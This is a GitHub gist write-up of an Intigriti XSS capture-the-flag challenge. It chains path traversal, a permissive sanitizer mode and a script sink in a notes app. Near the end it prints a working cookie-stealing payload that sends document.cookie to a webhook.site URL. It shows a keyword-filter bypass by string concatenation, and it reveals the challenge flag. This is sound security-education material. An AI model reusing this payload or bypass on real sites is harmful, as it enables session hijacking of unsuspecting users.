Skip to content

Instantly share code, notes, and snippets.

@soberpistolero
Last active April 28, 2026 07:26
Show Gist options
  • Select an option

  • Save soberpistolero/c4bb5b6a5923e2a73ccdc54b1c7edc8c to your computer and use it in GitHub Desktop.

Select an option

Save soberpistolero/c4bb5b6a5923e2a73ccdc54b1c7edc8c to your computer and use it in GitHub Desktop.
Intigriti April Challenge 2026

Intigriti April Challenge 2026

Challenge: https://challenge-0426.intigriti.io/challenge
Flag: INTIGRITI{019d955f-1643-77a6-99ef-1c10975ab284}

Challenge Goal

Find an XSS to steal the flag with a maximum of 1 user interaction

Reconnaissance

We are presented with a note sharing website 1-notes-app

We can write notes using html for the content 1-notes-app

We also have some personal settings we can update 3-preferences

Lastly, notes have 3 proposed presentations: Summary, Print and Compact 4-view-notes

A first look at the code, enabling renderMode "full"

All the client code is in app.js file. It is not minified, allowing us to explore it freely

The application initialize DOMPurify in getSanitizeConfig() at line 127 of app.js, a few remarks

  • The policy is very restrictive
  • A variable, policies, can enable a less restrictive policy via loadContentPolicies()
  function getSanitizeConfig() {
    var cfg = {
      ALLOWED_TAGS: ['h1','h2', '...'],
      ALLOWED_ATTR: ['href', 'src', '...'],
      ALLOW_DATA_ATTR: false
    };

    var policies = loadContentPolicies();

    if (policies.allowForms) {
      cfg.ALLOWED_TAGS = cfg.ALLOWED_TAGS.concat([
        'form','input','...']);
    }

    if (policies.allowIds) {
      cfg.ALLOWED_ATTR = cfg.ALLOWED_ATTR.concat([
        'id','name', '...']);
    }

    if (policies.allowDataAttrs) {
      cfg.ALLOW_DATA_ATTR = true;
    }

    return cfg;

At line 115: loadContentPolicies() reads from APP variable via a getOwnString() helper to enable this permissive mode

   var mode = getOwnString(APP, 'renderMode', 'safe');
    return {
      allowForms:         mode === 'full',
      allowIds:           mode === 'full',
      allowDataAttrs:     mode === 'full',
      enableEnhancements: mode === 'full'
    };
  • the APP variable is defined at the very beginning of app.js
var APP = window.__APP_INIT__ || {};
  • From the HTML page we can check the value at initialization, and it does not contains renderMode

5-app-init.png

  • We can play with the URL when watching a note and convice ourself that

    • theme: is controled from our settings
    • panel and noteId: are controlled by the URL of the note
  • The only place where renderMode is modified in app.js is in below applyRemoteProfile() function ...

   function applyRemoteProfile(profile) {
    if (!profile || typeof profile !== 'object') return;

    if (typeof profile.renderMode === 'string') {
      APP.renderMode = profile.renderMode;
    }
  • ... Which in turns is only called from loadPanelManifest() function, let's examine it
  function loadPanelManifest() {
    if (typeof window.__NOTE_CONTENT__ !== 'string') {
      return Promise.resolve();
    }

    var panel  = typeof APP.panel === 'string' ? APP.panel.toLowerCase().trim() : 'summary';
    var noteId = typeof APP.noteId === 'string' ? APP.noteId : '';
    if (!noteId) return Promise.resolve();
    if (!panel) panel = 'summary';

    var target = '/note/' + encodeURIComponent(noteId) + '/' + panel +
      '/manifest.json?note=' + encodeURIComponent(noteId);

    return fetch(target, {
      headers: { 'Accept': 'application/json' }
    })
  • We see it fetches an URL using the panel variable unescaped ! to reach applyRemoteProfile() we need ...
    • A GET HTTP endpoint that returns JSON
    • The json returned have some requirements to reach loadContentPolicies added with above finding ...
    return fetch(target, {
      headers: { 'Accept': 'application/json' }
    })
      .then(function (r) {
        if (!r.ok) {
          if (!isBuiltinPanel(panel)) {
            return loadReaderPresetTheme(noteId, panel).then(function () {
              return null;
            });
          }
          return null;
        }
        return r.json();
      })
      .then(function (data) {
        if (data && data.profile) {
          loadContentPolicies(data.profile);
        }
      })
      .catch(function () {});
  }
  • ... we are looking for an endpoint in the current application that returns
{
  "profile": {
    "renderMode": "full"
  }
}
  • If we look and play with the preference api GET /api/account/preferences and POST, we can only modify everything inside preferences field only, so not usefull
  • By reading the code of loadReaderPresetTheme() function we discover reader-presets, which
    • given a valid presets and a valid note_id return a json compatible with the vulnerability above
    • We "saw" presets before ... it was in GET /api/account/preferences and was empty !
    • let's use /api/account/preferences to create a preset (I created test) and confirm everything we set is reflected
POST /api/account/preferences

{
  "readerPresets": {
    "test": {
      "profile": {
        "renderMode": "full"
      }
    }
  }
}
  • To exploit the PANEL variable in the URL below ...:
https://challenge-0426.intigriti.io/note/{NOTE_ID}/{PANEL}
  • ... We use the following encoding, notice the # at the end to discard what app.js will concat (a valid note_id and preset are required)
encodeURIComponent('../../api/account/preferences/reader-presets/test/manifest.json?note=556b70c757b458d63b2fffea8ecaa329c9fe2eadd0be7a2a89c47708b95c38cb#');

// result
// ..%2F..%2Fapi%2Faccount%2Fpreferences%2Freader-presets%2Ftest%2Fmanifest.json%3Fnote%3D556b70c757b458d63b2fffea8ecaa329c9fe2eadd0be7a2a89c47708b95c38cb%23

We have succeeded in enabling renderMode=="full" which allows a more permissive DOMpurify policy !

Looking for the sink in the application

In search of a innerHTML sink we look in renderNoteContent() we notice a postSanitize() function which may break sanitization, unfortunately it only removes any 'data-*' attributes. There is omething going on with data attributes ...

  function renderNoteContent() {
    var display = document.getElementById('note-display');
    var content = window.__NOTE_CONTENT__;
    if (!display || typeof content !== 'string') return;

    var clean = sanitize(content);
    var safe  = postSanitize(clean);
    display.innerHTML = safe;
  • If we look in loadCustomWidget() function we can see it uses APP.widgetSink variable allows to inject script
  function loadCustomWidget(el) {
    if (getOwnString(APP, 'widgetSink', 'text') !== 'script') return;

    var cfg = el.dataset.cfg;
    if (!cfg || cfg.length > 512) return;
    var s = document.createElement('script');
    s.textContent = cfg;
    document.head.appendChild(s);
  }
  • So the settings to provision is already expanding too
{
  "profile": {
    "widgetSink": "script",
    "renderMode": "full"
  }
}
  • Also, el.dataset.cfg above comes from processEnhancements() which calls loadCustomWidget() after a lot of conditions summarized below
// from case 'custom': (line 271)
    type === 'custom'
// from below ... widgetTypes = ["custom"] (line 251 and 262)
    var manifestTypes = getOwnArray(APP, 'widgetTypes');
    manifestTypes.length >= 1
    manifestTypes.indexOf(type) !== -1
// from below ... <div id="enhance-config" data-types="custom"></div> (line 254 and 261)
    var configEl = document.getElementById('enhance-config');
    !!configEl === true
    var allowedTypes = (configEl.dataset.types || '').split(',');
    allowedTypes.indexOf(type) !== -1
  • The settings to set are expanding again to be
{
  "profile": {
    "widgetSink": "script",
    "renderMode": "full",
    "widgetTypes": ["custom"]
  }
}
  • Also, the html template with custom enhancements should looks like
<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom" data-cfg="alert(document.cookie)"></div>
  • Last difficulty we need to bypass the filter in postSanitize() which uses
  var UNSAFE_CONTENT_RE = /script|cookie|document|window|eval|alert|prompt|confirm|Function|fetch|XMLHttp|import|require|setTimeout|setInterval/i;
  UNSAFE_CONTENT_RE.test(attr.value)
  • for that we can modify the HTML to be
<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom" data-cfg="this['ale'+'rt'](this['doc'+'ument']['coo'+'kie'])"></div>
  • to steal the cookie from for the report feature we can change it to
<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom" data-cfg="self['fet'+'ch']('https://webhook.site/91b5ebf9-2fd4-4caf-8f63-9ccbee242441?c='+encodeURIComponent(self['doc'+'ument']['coo'+'kie']))"></div>
  • We send the full url to the review (the button/js also does that by default)

6-review

  • We can steal the admin cookie and get the flag (httpOnly being false on the cookie)

7-steal

The flag:

INTIGRITI{019d955f-1643-77a6-99ef-1c10975ab284}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment